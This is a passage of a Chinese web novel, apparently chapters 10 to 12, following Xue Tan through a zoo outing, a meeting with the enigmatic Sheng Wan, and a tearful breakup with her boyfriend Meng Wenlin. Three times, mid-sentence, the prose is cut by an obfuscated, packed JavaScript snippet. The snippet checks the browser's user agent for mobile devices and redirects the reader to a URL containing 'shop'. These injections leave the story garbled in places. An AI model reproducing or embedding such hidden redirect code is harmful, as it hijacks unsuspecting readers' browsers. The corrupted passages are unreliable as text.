“你个神经病。”万晨露懒得搭理他,骂骂咧咧启动车子向着薛谭公寓的方向行进。 路上下起了小雨,她突兀想起幸好自己在最后一秒决定开车送薛谭,否则女孩就真的成被雨水打湿的小草了。 密密麻麻的雨滴打在车窗上,薛谭透过雾蒙蒙的玻璃向外面看去,车流不息,鸣笛声声,高楼大厦在灰暗的环境里依旧散发着冰冷的锋芒。或许她可以去公司里找薛韵,看看薛韵。毕竟她已经很久没有见到她了,她很想她。 但是万晨露也说了,薛韵很忙,她很在意自己的工作,薛谭不该为了一己之私去打扰她。 肩膀忽然被微弱的力道戳了戳,薛谭不明所以回头,万晨霜精致好看的脸蛋放大了映入眼帘。 她立即向后仰头远离,又把大半个身子侧过来凑近,“怎么了?”她小声问男孩。 男孩反倒被突然拉近的距离弄得不自在,他的耳尖是在昏暗的车厢里都能看出的粉红。万晨霜垂下眼,嗫喏片刻未言一句。 薛谭会意,“明天一起去动物园吧。” 万晨霜是个性格单纯,简单易懂的人。尽管许多人都觉得万晨霜很讨厌薛谭这个继姐,可薛谭却很清楚,男孩一点都不讨厌她,甚至还挺喜欢她。 否则也不会每次出现在她面前都费心费力把自己打扮一番了。 这个年纪的男孩就是那么恶心,一面喜欢,一面又装作毫不在意的样子惹人烦,还真的以为自己拙劣的演技谁都看不出来吗。 薛谭轻飘飘看了嘴角不受控制勾起来的万晨霜最后一眼,眼底没有任何情绪。 连鄙夷都不屑有。 毛毛细雨只在入夜前下了一会,第二天上午三人出发去动物园时,灰蓝色天空像是蒙了一层尘土,万里无云,没有光彩,仰头看得时间长了还会叫人觉得沉闷。 孟文霖好笑地拉住仰着脖子看天空的薛谭,“要看路啊桃桃。” 薛谭被拉得撞进孟文霖怀里,抱着他的腰腻歪了一会,等到刷票进园才放开男朋友。他们昨天晚上就商量好了,孟文霖带着万晨霜一起玩,薛谭自己一个人玩。 原本因为没有见到薛韵而一直情绪低落的薛谭,在拿到动物园地图的那一刻脸上很快绽放灿烂的笑容,所有的不开心全部一扫而空,现在充满她脑海里的唯一念头就是即将见到的动物们。 薛谭来动物园看动物从来不像是别的游客那样,欣赏了一会动物拍过几张照后就离开,而是会带着一种观察的态度仔细盯着动物们看。就好比现在玻璃房内睡觉的老虎,明明什么都没有做,依旧对扒着玻璃看的薛谭有着致命吸引力。 万晨霜对于薛谭带自己来了后又把自己扔给孟文霖这件事十分不爽,几次想要和薛谭搭话却没有得到任何回应后,心情跌落谷底。他带着挑剔的目光看了一眼微笑着望向薛谭的孟文霖,心里暗暗较劲,一会觉得孟文霖长得太凶了,一会又觉得男人年纪大了,反正哪哪都配不上薛谭。 也不知道薛谭到底喜欢他什么。 他又抬手拨弄了一下早晨做了很久的头发,卷曲的黑色发丝让他像西方古典油画里的贵族公子一样,玩偶一般无可挑剔的大眼睛被卷翘纤长的睫毛包围,穿着绣有精巧花纹的洁白衬衫和柔软又厚实的背带裤,脚上则踩着一双锃亮的小皮鞋。 与孟文霖的阳光帅气不同,万晨霜更偏向于矜贵典雅的美丽,并且这样的美丽当中还带着几分非人的华丽感。假如万晨霜能够收敛脸上嫌弃傲慢的表情,一言不发的话,说不定会被过路人当成真正的等身玩偶。 可惜像他这样好看的人还是要被孟文霖打法去超市买烤肠和水。 他拎着塑料袋恨恨地想,孟文霖肯定是趁着这个时机和薛谭亲热了,他早就看出来孟文霖不是正经人,整天骚里骚气的勾引薛谭,真是不要脸。 z市动物园很大,薛谭走走停停逛半天才也才逛了一半。 她看上去好了很多,各种意义上的,如果非要用一个词语来形容的话,那就是容光焕发。 薛谭高兴孟文霖也打心底感到高兴,他们来到动物园中心一家餐馆吃饭,里面东西卖的很贵,薛谭没要多少,孟文霖也学她只要了一份炒饭。 万晨霜到嘴的嘲讽没能说出口,因为薛谭很是罕见地对他露出了笑容。虽然明白这个笑其实和自己没有太大关系,也知道自己无论做什么也不会影响到少女的心情,可万晨霜还是被烫到视线似的移开目光,咽下嗓子眼里的话,“我也要一份炒饭。” ——饭很难吃。 薛谭嚼米粒的动作放缓,抬眼看向孟文霖。孟文霖立刻转头对万晨霜说:“晨霜,你再去买几根烤肠和面包吧。” 万晨霜勃然大怒,呸了一口把米饭吐在垃圾桶里,拧开桌子上的水咕嘟咕嘟灌下去两口,而后拍案而起:“孟文霖你不要太过分!” “万晨霜。”薛谭放下勺子,沉声警告:“不要大声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503470|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话,坐下来。” 万晨霜见薛谭袒护孟文霖,更加气恼,抱怨脱口而出:“你们两个约会凭什么要把我当仆人使唤!”全然忘记是自己非要跟过来的。 薛谭讨厌别人对她大声说话,更讨厌吵架。她对万晨霜的不满视若无睹,给了孟文霖一个眼神,两人低头很快把碗里的东西挑挑拣拣吃个差不多,拿上背包站起身。薛谭对自己这个名义上的弟弟还有点责任心,垂眸冷视:“走了。” 万晨霜为了打扮自己一早上忙得只喝了一口水,他做这一切都是为了把自己最完美的一面呈现给薛谭,然而这个可恶的女人不仅一点都不知道体谅,还如此偏心!他可是陪她走了一上午,饥肠辘辘着呢。然而万晨霜可不敢在薛谭面前使小性子,憋了一肚子火不敢发出来,只好愤愤扔下勺子跟上离去的两人。 什么破店!他要给差评! 薛谭的注意力全部放在各种各样的动物上,没有心思去管两个男生。于是万晨霜逮着机会就要给孟文霖使绊子,先是“不小心”撞掉他的水,又多次在他要上前找薛谭说话时插嘴,坚决不让少男和薛谭有任何接触。 等到天色染红,参观快要结束时,一直维持温柔邻家大哥形象的孟文霖也将将破功,不难怀疑只要万晨霜再搞出什么幺蛾子,孟文霖一定把他抡飞。 都是男生,孟文霖差不多能猜到万晨霜不可告人的小心思。这个年纪的男生喜欢上自己身边年长一些的女性很正常,更遑论桃桃还是那么优秀。不过...... 笑容从脸上褪去,此时孟文霖浑身的气质终于和他略显凶恶的长相有些相近了,低气压笼罩周身,路过的行人不自觉远离了一些。原因无他,此时恶狠狠看着万晨霜的孟文霖实在、实在太像玻璃房里那头恶狠狠瞪过来的狼了。 他的胸肌大,胸怀也十分宽广,万晨霜幼稚的搔首弄姿他根本不放在眼里,可如果这个小贱人真的做出什么逾越的行为,他不介意代替万父收拾一下不听话的小儿子。 这一切都没有被薛谭发现,她顺着地图来到此行的最后一站,灵长类动物基地,来寻找那只长着京剧脸谱的网红猴子。倒不是出于猎奇心理,只是恰好薛谭最近观看昆虫有关的书籍时,惊讶地发现原来每一只蜘蛛的腹部都有一张人脸。有时候是络腮胡子的中年男人,有时候是妩媚多情的女子,这让薛谭感到很神奇,于是也想来看看那只像戏剧化人脸的猴子。 只是—— 围着巨大的玻璃房看了一遍,薛谭还是没有找到网上很火的那只猴子。她不甘心地贴紧玻璃搜寻,猜想那只猴子会不会躲进某个树丛后面了。 “那只猴子已经不在这里了哦。” 熟悉的声音在耳畔响起,语调平稳缓慢,像是夕阳西下,动人心弦。薛谭浑身一僵,愣愣转头看过去。 白天的天空还是令人无精打采的灰蒙蒙一片,可此时此刻,她扭头见到盛晚的这一刻,红色的艳丽夕阳几乎燃烧整片天空,像血,像火焰吞卷棉花,势不可挡冲进笼罩了动物园的天空。 ——却不及盛晚的万分之一。 他没有刻意打扮,身穿最普通的白色短袖,什么都没说,什么都没做,只是温柔地笑着,看着自己。 薛谭一瞬间失语,激烈无比的心跳声骤然闯入她的世界,几乎震碎耳膜。 她缓缓捂住好像跟着鼓动的胸口,所有的景象与声音全部远去,只剩下眼前光彩夺目的少男。 在这一刻,薛谭对盛晚强烈的占有欲望终于战胜那点藏在暗处的忌恨。 11. 第 11 章 “桃桃?” 温暖的气息包裹全身,薛谭被一双宽大、有些粗糙的手掌拉着向后退去,与一个热气腾腾的身躯相贴。 她仍旧呆愣好一会,直到意识逐渐回笼,心跳缓缓平复下来,才转头抬眸看过去,是眉眼柔和的孟文霖。只是认识那么长时间,她如何看不出少男掩藏在温和表象下的勉强。 孟文霖攥紧薛谭小臂的手微微用力,不过两秒钟便像是突然反应过来般猛然卸下力气,他侧了侧身子,两人挨得更近,“是桃桃的同学吗?” 薛谭猛吸一口气,从男友的怀抱中脱离。万晨霜也快步走过来,目光警惕地盯着盛晚,浑身敌意几乎凝为实质。于是她转身挡在盛晚身前,隔绝两道并不友善的目光,尽量平静地解释:“对,是我同学。” 隐隐约约的害怕如丝线一点点缠绕薛谭的心脏,丝线滑溜溜的,好像穿衣服一样把心脏裹得密不透风,塞满整个胸口,让人喘不过气来。 她在害怕什么? 反正不是担心孟文霖与盛晚的见面。 这害怕是剧烈心动之后自然而然涌上全身的,与任何人都没有关系,仅仅是根植在薛谭心中,攀附某个不知名东西生长出来的。 薛谭在害怕她自己。 有什么将要失控了。 就像她一见到盛晚便失控的心跳一样。 “谭谭。”冰凉的掌心轻轻覆上刚才被孟文霖握住的手腕,盛晚的声音与他的手掌一样凉,但他是笑着的,所以听起来并不觉得疏远,“不过我仿照那只长了京剧脸谱的猴子做了一个玩偶,想送给谭谭。”少男微微弯下腰,贴近薛谭的耳廓,“我们一起去看看吧。” 薛谭不知为何有些头疼,长着人脸的蜘蛛,酷似京剧脸谱的猴子脸,还有诡谲迷离的——盛晚。她突然反手握住盛晚的胳膊,有些艰难地侧头看过去,因为蜘蛛、猴子和盛晚,这一切让她感到眼花缭乱。 他们离得极近,呼吸都在交融。近距离观赏盛晚的脸,薛谭脱口而出:“你是妖怪吗?” 盛晚好看的眼镜眨了眨,短短不过一瞬,鲜妍百花凋零又盛放,他笑起来,四季都变成了春天,“不是哦。”但还是问:“如果是妖怪,谭谭觉得我是什么妖怪呢?” 薛谭离他远了点,改口:“你不是妖怪。” 盛晚好笑:“怎么又不是了?” “因为想不出来配得上你这张脸的物种。” 薛谭刚刚说完,孟文霖便再也无法忍受,他大步上前推开盛晚,强行分离两人。声音沉下来,但还是努力挤出一抹笑容对薛谭说:“我们先回去吧。” 万晨霜打开手机骗人,“万晨露让我们赶紧回家,快点走啦!”他也不管什么男友还是同学,拽上薛谭就要离开这里。 两个男生不自觉流露出来的急切显示出他们内心深处的慌乱与不宁。尤其是孟文霖,从幼时第一次见到薛谭起,他所有的注意力都放在女孩身上了,他甚至比薛谭自己还要了解薛谭,如何看不出来女孩难以自拔的心动。 比起那点微不足道的醋意,真正占据孟文霖全部心神的是薛谭是否会离开自己的惶恐不安。喉结滚动,孟文霖觉得口干舌燥,指尖微微泛凉。 薛谭被他和万晨霜两个人牵着,却还是忍不住回头向那个男生看过去。这一幕落在孟文霖眼中,心口猛地一缩,他忍不住催促道:“桃桃,时间有点晚了,我们先出去吃饭吧。” 这是孟文霖和盛晚的初次见面,薛谭最终跟着他走了。他本应该感到庆幸,毕竟有这么美丽的男人站在眼前,他的桃桃还是选择了他。 然而不知道为何,握紧女孩的手一起坐在出租车上的孟文霖视线落在窗外飞速倒流的高楼与行人,内心久久无法平静。他想起来刚刚送万晨霜回万家时,男孩背着薛谭与他说的那句话—— “薛谭肯定会和你分手。” 想到这里,孟文霖呼吸一滞,鼻子发酸,眼眶情不自禁红了起来。他不敢回头让薛谭看见自己的丑态,今天傍晚发生的事情实在太过突然,打了自己一个措手不及。他不是没有想到过桃桃将来会遇到更好更帅胸围更大的男人,可是从没有一个像今天那个男生一样让自己有如此强烈的危机感。 万晨霜恶毒的诅咒如毒液一般丝丝缕缕渗透孟文霖胸腔,另一只手死死攥紧成拳,指甲都嵌入皮肉当中。 “孟文霖。” 薛谭的声音突兀响起在车内,孟文霖勉强维持的规律呼吸霎时间错乱,心头涌上不好的预感,他逃避一般抢先开口:“今天晚上给桃桃做我在那边新学的菜好不好?”他终于转过头看自己的挚爱,牵起一抹笑,眉头眼底是无声的乞求:“很好吃的。” 薛谭静静望着眼前这个陪伴自己十几年的少男,他长得好身材好说话做事也都十分完美,他的陪伴无疑给自己带来了许多美好快乐的时光,说实话,她很喜欢他。 然而薛谭是个专一且深情的好女人,她不想因为脚踏两只船被骂,于是从少男颤抖的掌心抽回手,认真说:“我们分手吧。” 孟文霖心脏一跳,太阳穴突突地疼,眼前发黑。他像是无法承受般扶住司机的座椅靠背,引得司机警惕地看过来一眼。 太突然了,太突然了。 “桃桃......”他伸手向着薛谭摸去,却被女孩不着痕迹地避开。张了张口,眼泪先一步落下来,“是因为今天下午那个男生吗?”他不可置信:“不过和他见了一面,你就要和我分手?” 薛谭以为自己会对孟文霖心软,毕竟他们两个哪怕除去情侣的关系,也是情谊深厚的好朋友。可是分手的话说出来后,她发现自己冷静得可怕。她摇摇头:“不是,我早就喜欢上他了。”第一次见面就喜欢上盛晚了。 “什么时候?”孟文霖追问,不等薛谭说话,又说:“那我呢?桃桃不喜欢我了吗?”他不敢说爱,因为知道薛谭绝对不可能像自己爱她一样去爱自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518975|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句话问进了薛谭心坎里,她想了一路,思考自己对盛晚和孟文霖两个人的感情,如实说:“我更喜欢他。”她凑近了孟文霖,双手捧住少男的脸,目光直直探进他泛红的桃花眼,“正因为我喜欢你,所以才不想委屈你。难道你愿意我一边和你睡觉一边想着别的男人吗?” 孟文霖反问:“那你和......”他不愿意想象那样的画面,呼吸粗重了几分,“你说你喜欢我,那你和他在一起时也会想到我吗?” 薛谭毫不犹豫:“当然。”她继续说,眼神真挚纯粹:“孟文霖,我不想让你受委屈,我们分手吧。” “不......”孟文霖痛苦地将薛谭搂进怀里,再也忍不住泪流满面,“不要,我不要和桃桃分手!”他声音哽咽,哭着说:“我不介意桃桃喜欢他胜过我,也不在乎桃桃心里想着别的男人,我只要我们别分手!桃桃......桃桃......” 孟文霖哭着想要亲薛谭,薛谭嫌弃地避开。她实话实说:“可我不仅心里想着他,身体也想着他。”她质问孟文霖:“你想让我背负脚踏两只船的骂名吗?”她失望地看着眼前哭得狼狈的男孩,“孟文霖,你什么时候变得那么自私了?” 薛谭失望的目光像是一根刺刺进孟文霖双眼,泪水决堤而出,糊满他整张脸,“不是的......桃桃,我只是不想和你分手,求求你了,桃桃,我真的不能没有你,你喜欢什么样的?桃桃,桃桃,你告诉我你喜欢什么样的,我照着改行不行?”他将脸埋进薛谭双手之中,痛哭流涕:“为什么?为什么这么突然!为什么要抛弃我!我那么爱你你怎么可以这样对我!” 听了这话,薛谭生气地推开他,“你什么意思?你来指责我了?” 孟文霖已经哭得有些神志不清了,只是下意识回答:“不是的,不要离开我桃桃,不要和我分手。” 正好此时车子到达小区,薛谭不再和他废话,推开车门便走。孟文霖跌跌撞撞跟出来,拉住薛谭的胳膊,扑通一声跪在地上。 “桃桃,桃桃你别走!”他直接抱住薛谭的腿,嗓音沙哑地哭喊:“我也不在乎桃桃和谁睡觉和谁在一起,桃桃——”他抱的更紧了,“只要咱们不分手,你想干什么想做什么都可以,你想让我做什么,和我说好不好,我会做的更好的。桃桃,再给我一次机会好不好,我一定做的比那个男的更好,我一定会让桃桃更喜欢我的!” 他不停亲吻薛谭的指尖,一遍又一遍恳求薛谭不要分手。 薛谭勃然大怒,“啪”的一声打在孟文霖脸上,气得手都在抖:“你竟然让我和别的男人睡觉!孟文霖,你根本就不爱我!” 孟文霖慌忙解释:“不是的桃桃,我不是那个意思——” “滚啊!”薛谭一脚踹在孟文霖的肩窝,不想再和这个男人纠缠:“你这个贱男人竟然敢欺骗我的感情,我就不该和你谈恋爱!”她伤心至极,扔下一句:“别让我再见到你!”后,哭着离开。 12. 第 12 章 薛谭和孟文霖大概刚刚出生就认识了。 因为薛韵和孟文霖的母亲孟之宁是至交好友,一起长大,工作后也互为邻居。只是薛谭记性不太好,六岁以前的事情都不怎么记得了。 对孟文霖的印象之初是三年级的时候,关于二年级的记忆倒是有一点,但只是很模糊的片段。 那不是市中心的小学,有些偏僻,硬件设施有些落后,但是种了很多的树木花草,薛谭很喜欢。大操场是水泥地,有一天雾气很重,小薛谭领着孟文霖在第一节下课后一起到操场上“抓雾”。他们想象自己是拯救世界的捉妖人,而那些雾气都是邪恶的妖怪。虽然这么想的,可到底是两个只上二年级的小孩子,依旧笑声不断地奔跑、追赶,酣畅淋漓。 那大概是他们第一次一起玩耍吧,大概,薛谭也不知道六岁之前有没有玩过。 第二节下课的大课间,他们牵着手来到操场想要继续这个游戏,却发现雾气都已经散去了。 孟文霖那个时候很伤心,薛谭就拉着他躲在乒乓球桌下,说这是他们的小家,打跑了大雾妖怪,神仙奖励给他们一个家。 之所以不把这段回忆当作对孟文霖的印象之初,是因为它就像那天的大雾一样,迷蒙模糊,恍若早起犯困的一场梦。 薛谭面无表情看着电梯上跳动的数字,抬手抹去眼泪。 这一段以吵架作为开头,吵架作为结尾的感情也像是被迷雾包裹的朦胧梦境,回首望去,其实什么都没有。 被孟文霖不切实际的夸奖蒙蔽双眼,随口说出的称赞,每日不断的彩虹屁,仔细想想,其实和小学二年级的那场大雾没有区别。终究是虚幻的,要不了多久就会烟消云散,让薛谭原形毕露——她从来没有孟文霖说的那么好。 比起沉溺于虚假夸赞带来的一时满足感,薛谭更愿意遵从心脏跳动的节律,追寻最原始的冲动。 走出电梯的一瞬间,盛晚的房门打开,这一次少男没有笑,看向薛谭的目光中还隐隐夹杂着心疼,“发生什么事了,谭谭?你看起来很不开心。” 薛谭就那么站在电梯前,静静看了盛晚许久,最终摇摇头:“没什么。我先回去了。”她一定是为了盛晚才和孟文霖分手的,薛谭心想,一定是这样的。 盛晚的目光一直追随着薛谭,在见到薛谭拾起地上的袋子后,解释:“这是我自己做的玩偶。” 薛谭将要打开袋子的动作顿住,捏紧纸袋边缘,发出咯吱咯吱的声音。她突然扭头看向盛晚,少男眉间眼底掺杂着化不开的愁绪。 盛晚一步步走过来,捧起薛谭的手,微微弯下身子看进她的眼里,“是和妈妈闹别扭了吗?” 直到此话一出,薛谭终于肯定了盛晚是故意接近她,盛晚早就认识她了,并且对她十分了解。再次回忆起与盛晚从前为数不多的接触,她心里不禁产生了一种“果然如此”的感觉。 怪不得业主群里直接用本名,怪不得和她用只是颜色不一样了的小猫头像,怪不得会知道薛谭喜欢玩偶,怪不得要画下那幅奇怪的画还送给自己,怪不得—— 薛谭抬眼盯紧盛晚,不肯放过他的任何表情,“你到底是谁?”为什么会知道她最近和薛韵之间的状态不好。 像是有读心术一般,盛晚好看的眉头稍微皱起,看上去委屈极了,答非所问:“我只是猜的。”他低头与薛谭额头相抵,却被薛谭厌恶地躲开,于是便只是蹭了蹭女孩的发顶,“我看谭谭心情不好,所以就在想是不是和家里人闹矛盾了。” “是吗。”薛谭抽回手,装作看不懂盛晚的装模作样,“我累了,先回去睡了。” 薛谭面上一片平静,心底却早已掀起惊涛骇浪,盛晚远比薛谭想象中的还要了解自己。就连那一丝自己都不愿意承认的幼稚心理,都能被这个叫盛晚的神秘少男精准捕捉到。 尽管一直告诉自己和孟文霖分手是因为盛晚勾引自己,可只有薛谭自己清楚,她始终都在和薛韵闹别扭。为了引起母亲的注意力所以和母亲看好的男生分手,这样幼稚可笑的理由是薛谭不愿意也不想承认的。 刚刚和孟文霖分手,薛谭身心俱疲,没有心思做任何事,只是看着贴着森林墙纸的天花板发呆。她不开心时往往什么都不做,幻想自己是一只小鸟?或是别的什么动物都可以,自由自在地在森林生活和冒险。 之所以称之为“幻想”,除了自己是人类不是动物以外,另外一个重要的原因是因为动物可不像人类那么安逸,无论是觅食还是躲避天敌,都是十分艰巨的任务,所谓的“自由自在”也不过是理想化的状态罢了。 这天晚上薛谭胡思乱想了许久,想完自己不切实际的冒险生活又想了孟文霖和盛晚,之后又漫无目的地回忆着和薛韵稀少到珍贵的回忆。 明明在动物园逛了一天却完全不累,反而思维异常地活跃,想东想西了不知道多长时间,才终于有了睡意。意识迷蒙之际,薛谭脑海里忽然滑过了一张长着京剧脸谱的猴子。 她猛然惊醒。 薛谭躺在床上眨了眨眼,而后翻身从床头柜上拽来纸袋,哗啦倒出来里面的玩偶。 真丑。 她扯了扯这张放在猴子身上有些戏剧性的花脸,扑哧一声笑出来。 第二天薛谭意外醒的很早,她打开手机看了一眼时间,才七点多。 孟文霖发过来十几个小作文,薛谭懒得看,直接滑倒最下面,只有一句“我们还是朋友吗?” 这才对嘛。薛谭在心里想,她虽然和孟文霖分手了,但是两个人十几年的友谊可不想就这么断掉。爱是占有,孟文霖愿意薛谭在和他在一起的时候想着盛晚,就说明孟文霖根本不爱自己。虽然昨天晚上得知孟文霖一直在欺骗自己的感情后很生气,但薛谭是个大度的女人,不会因为这点小事就和他绝交。 况且两个人的母亲关系那么好,他们如果真的因为短短两三个月的感情就变成陌生人,不仅他俩尴尬,也会让母亲们为难。 薛谭发送消息:【当然。】 那边立即发过来消息;【太好了桃桃!谢谢你还愿意和我做朋友,我们一定是一辈子的好朋友对吧?昨天晚上是我不对,我不该如此无理取闹纠缠你,对不起,你愿意原谅我真是太好了。】【桃桃今天醒的好早,我做了早饭,给桃桃送过去吧。】 薛谭往上面翻了翻,最后一个小作文的发送时间是四点四十七,那句“我们还是朋友吗”是六点多六点钟发的。以薛谭对孟文霖的了解,严重怀疑少男昨天晚上没有睡觉。 她微不可察地叹了一口气,【不用了,你先好好休息休息吧。】 正在此时,盛晚发过来一张照片,薛谭好奇地点进去看,发现是一条受伤的手臂。 盛晚的皮肤本就像雪一样白皙动人,此时上面盘绕着一条狰狞可怖的伤痕,手腕处更是肿了起来,看上去非常吓人。 薛谭嫌弃地皱了皱眉,赶紧返回去把这张照片从聊天记录里删除,太恶心了,但还是善良询问:【怎么回事?】 那边发过来一个小猫哭哭的表情,【好疼呀谭谭】【昨天晚上去楼下便利店买东西时,看见一个奇怪的人跪在地上,我以为他哪里需要帮助就去问了一句,没想到那个人突然开始打我,真是吓坏我了】 薛谭立刻问:【你的脸没事吧?】 盛晚这一次没有秒回,而是过了几秒钟后才说:【没事哦,我一直用胳膊保护着脸呢】 薛谭猜想打他的那个人应该就是孟文霖,又问:【那你打他没?】 这一次间隔的时间有点长,【谭谭希望我还手吗】 薛谭退出去找到孟文霖的聊天记录,【你昨天和盛晚打架了?】【有没有受伤?】 孟文霖回复:【对不起桃桃,昨天看见那个人实在太生气了,没有忍住。】那边持续了很长时间的“正在输入中”,【我没受伤,他没有还手。】 薛谭快速打字:【你没受伤就好】,她很清楚孟文霖都在想什么,安慰:【我不怪你,对我来说,你比盛晚要重要的多。】 这话还真不是刻意哄孟文霖,过一夜冷静下来后,对孟文霖的那点怨恨也逐渐烟消云散。他们谈恋爱的时间和他们相识的时间相比,实在太过微不足道,不值得为了所谓的爱情去放弃彼此。 【桃桃,我觉得那个人不太对劲,你……你能看出来吗?】 【我知道。】薛谭回复:【但我还是喜欢他。你不用管了,我有分寸。】又补充一句:【我们还是朋友。】 刚认识没多久薛谭就已经知道盛晚的温良只是表象,或许那吸引薛谭的魅力正是来源于盛晚捉摸不透的神秘感。 薛韵今天中午回来,薛谭收拾一番就回到了万家。 万父的幸福溢于言表,薛谭远远看过去都能感受到男人周身环绕的喜悦气息。 “桃桃回来啦!”他正好脱下围裙,笑着对薛谭说:“你妈妈回来了,快去和她说说话吧。” 薛谭向男人身后看去,果不其然见到了抱着电脑坐在沙发上办公的薛韵。 女人短发不及耳,眉眼透露着疲态,面无表情时嘴角向下,看上去有些严厉。她穿着简单的白色衬衫和布料柔软的阔腿裤,衣着休闲简单,是很放松的打扮。 薛谭下意识搜寻万晨露,却只见到了坐在餐桌旁边侍弄花朵的万晨霜。她站在原地,一时不知道该去哪里。 要不然还是回房间吧,毕竟薛韵还在工作。 轻手轻脚路过客厅,刚刚迈上一阶楼梯,身后传来冷硬的声音: “桃桃。” 薛谭浑身一僵,便听见薛韵放柔了声音:“过来。” 她走过去坐在左侧沙发上,低头不语。 薛韵揉了揉眉心,放下电脑走过来和薛谭挤在一个小沙发上,伸出一只胳膊搭在薛谭肩膀上。 薛谭身体更加僵硬了。 “我听你孟阿姨说你和文霖分手了。”薛韵虽然搂着薛谭,却是将身体倚倒在沙发靠背上,两人离得不算太近。 “嗯。”薛谭小声应答,“我喜欢上了别的男生。” 她以为女人会不开心,毕竟薛韵当初知道她和孟文霖谈恋爱后很开心,可女人只是说:“分了也好,你俩不合适。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534568|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 薛谭一愣,问:“为什么不合适?” 女人好笑地看着薛谭,“怎么?你还喜欢那孩子?” 薛谭苦恼地叹了一口气:“我也不知道。应该是喜欢的吧。” 薛韵揉了揉薛谭毛茸茸的脑袋,突然的亲密举动令女孩不自在地缩了缩头,“不知道就不要想了,有些问题的正确答案是不经思索就该出来的。” 有些问题的正确答案是不经思索就该出来的。 薛谭默默重复这句话,恍然大悟:“我真的喜欢盛晚!” 薛韵放在薛谭身上的目光柔和下来,在女孩扭头看过来的前一刻又移开视线,勾起嘴角,“喜欢就去追他呗。” 薛谭眨了眨眼,意识到自己差点被女人带偏。她其实很想问问女人那天晚上是真的被工作电话叫走了,还是因为不想那么快见到自己所以故意离开。 如果真是公司里发生了很重要的事情,为什么只叫走薛韵却不叫万晨露呢,况且那天万晨露还表现得如此优先,完全不像是公司出事了的样子。 她应该是能够明白自己心思的吧。薛谭小心撇了一眼薛韵淡漠的神色,见女人丝毫没有要解释的倾向,失望地收回目光。 这种问题就算问出口估计也不会得到回答。毕竟薛韵不想说的事情哪怕薛谭哭着求她,女人也不会吐露半个字。 问了也是平添尴尬。 万父把色香味俱全的饭菜摆放在餐桌上,喊她们过去吃饭。 薛谭立即起身走过去。 与此同时万晨露从楼上下来,她看了一眼喜怒难辨的薛韵和女孩逃跑一般的背影,绕过沙发把薛韵的电脑合上,弯腰小声问:“怎么了这是?” 薛韵无奈笑了笑,“又惹她生气了。” 这几天薛韵和万晨露都在家,于是薛谭也在万家住了几天。手机里已经分手了的孟文霖每天都有发来消息,两人的状态和以前没什么区别。 而盛晚在薛谭没有回复他希不希望他还手后,就再也没有发过消息了。 薛谭没有追过人,甚至接触过的同龄人都少得可怜。她猜测盛晚可能有点生气了,不过也不确定,因此并未搭理他。 动物园之旅结束后,万晨霜和薛谭的关系拉近了一些——当然,只是万晨霜单方面的。具体表现在死鸭子嘴硬的男孩终于在薛谭面前稍微坦诚了一些,连万晨露都忍不住惊讶他是不是受什么刺激了。 “咚咚——” 窝在被窝里打游戏的薛谭隐约听到敲门声,她拉掉被子仔细听了一会,咚咚的敲门声再次传来。 以为是薛韵或万晨露,薛谭关掉游戏机下床开门,却不想映入眼帘的是万晨霜。 “有事吗?” 男孩今天一改往日清纯高雅美少男的打扮,穿了一件白色宽松短袖衬衫和白色条纹长裤,终于有了几分正常男孩青春洋溢的活力。 “陪我逛街。” 薛谭关门。 “喂等等啊!”万晨霜在外面拍门,气急败坏:“你先把门打开行不行?” 薛谭回床上打开游戏戴上耳机,充耳不闻万晨霜的叫喊。打了一分钟,耳机里的歌声被手机铃声打断,是万晨霜在打电话。 她不耐烦拿起旁边的手机挂断,下一秒万晨霜的电话再次打过来。 砸了一下床,薛谭放下游戏机脸色难看地打开门,一把把男孩拉进屋里。 万晨霜脸上绽放笑容:“薛谭!” 薛谭一手按住男孩肩膀把他推在墙上,“知道我是谁吗?” 万晨霜愣了一下,歪头不明所以:“你说什么?” 薛谭凑近男孩,轻轻拍了拍他柔嫩的小脸,又问:“知道我是谁吗?” 万晨霜终于看出来薛谭脸色不对,支支吾吾没有说话。 薛谭手掌下移,放在男孩被白色布料包裹的手臂上,她捏了捏,没想到男孩看着挺瘦,竟然还有肌肉。 男孩猛地瞪大眼睛,一下子红色从脖颈蔓延整张脸,下意识要缩回胳膊,结果薛谭突然捏着他肌肉的手突然用力。 他吃痛地低叫了一声,薛谭改为大拇指和食指第二指节用力掐下去,万晨霜霎时疼的往后躲。 “再问一遍,我是谁?弟弟。” “弟弟”两个字出口万晨霜如何还不明白薛谭的意思,他对这位继姐直呼其名那么多年女孩也没说过什么,这会直接动手想来是真的生气了。 他黑葡萄一般的圆润大眼睛盈满泪水,委屈极了,好似薛谭是什么欺负人的恶霸。可女孩动手简直毫不留情,他实在疼的受不了了,赶忙说:“姐、姐姐!” 